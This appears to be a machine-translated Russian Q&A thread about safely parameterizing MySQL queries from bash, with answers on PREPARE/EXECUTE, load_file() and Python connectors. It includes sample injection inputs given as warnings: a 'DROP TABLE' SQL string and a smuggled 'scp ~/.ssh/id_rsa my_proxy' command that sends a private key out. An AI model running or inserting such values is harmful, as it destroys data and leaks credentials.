Этот связанный вопрос спрашивает об использовании параметризованного запроса при использовании инструмента командной строки mysql
в bash. Однако, кажется, что верхний ответ все еще уязвим для инъекций (например ; DROP TABLE user; --
). Хотя ответ, безусловно, затрагивает вопрос о том, как передавать переменные, он не решает вопрос о том, как это сделать с помощью параметризованных запросов.
Мой вопрос: обеспечивает ли связанный принятый ответ в связанном вопросе защиту от SQL-инъекций и имеет ли все полезные средства защиты от параметризации? Если так, то почему? Если нет, как я могу безопасно использовать параметризованный запрос из инструмента командной строки MySQL?
Примечание: Технически я использую mysql Ver 15.1 Distrib 10.3.13-MariaDB
.
Обычной практикой для приложений, ориентированных на клиента, является использование конечной точки API для каждого запроса к базе данных, что потребует аутентификации пользователя. Затем сервер API проверит ввод при форматировании запроса.
Непосредственная демонстрация bash на сервере никогда не была хорошей идеей. Помимо SQL-инъекций, есть и другие, гораздо худшие ситуации, например ; scp ~/.ssh/id_rsa my_proxy ;
; scp ~/.ssh/id_rsa my_proxy ;
может легко случиться.
Похоже, что безопасность не является первоочередной задачей ОП на основании комментариев ниже. Скорее, основное внимание уделяется созданию правильных запросов.
Для этого самое простое решение - возможно использовать существующие библиотеки и позволить им обрабатывать форматирование. Например, в Python
есть
https://dev.mysql.com/doc/connector-python/en/
Обычно вставка должна быть сделана в партии для эффективности. Но если вы предпочитаете, вы можете написать скрипт для вставки строки, как
python3 tableX_insert.py --field1 value1 --field2 value2
Я уверен, что в других языках подобные модули для БД conn и cursor существуют. Любая попытка сделать то же самое с необработанной командной строкой bash - заново изобрести колеса.
Вы можете запустить PREPARE и EXECUTE в сценарии SQL для выполнения параметризованных операторов, но затем сложная часть сценария bash - получить значения, назначенные переменным сеанса в сценарии SQL, без введения уязвимости внедрения SQL.
Я имею в виду, вы можете сделать это:
myshellvar=1234
mysql -e "set @myvar = $myshellvar ; prepare stmt from 'select ?'; execute stmt using @myvar"
+------+
| ? |
+------+
| 1234 |
+------+
Но это все еще уязвимо для внедрения SQL, потому что $myshellvar
может содержать проблемный контент.
Я сделал этот эксперимент:
echo "O'Reilly" > /tmp/name
mysql -e "set @myvar = replace(load_file('/tmp/name'), '\n', ''); prepare stmt from 'select ?'; execute stmt using @myvar"
+----------+
| ? |
+----------+
| O'Reilly |
+----------+
Это безопасный способ гарантировать, что содержимое не вызывает SQL-инъекцию, но вам понадобится экземпляр MySQL, настроенный для разрешения load_file()
, и это кажется большой работой, потому что вам нужно создать отдельный файл для каждой переменной, которую вы хотите загрузить.
Я согласен с ответом @PMHui, что вам следует использовать какой-либо другой язык сценариев, если вы хотите удобно писать параметризованные SQL-запросы.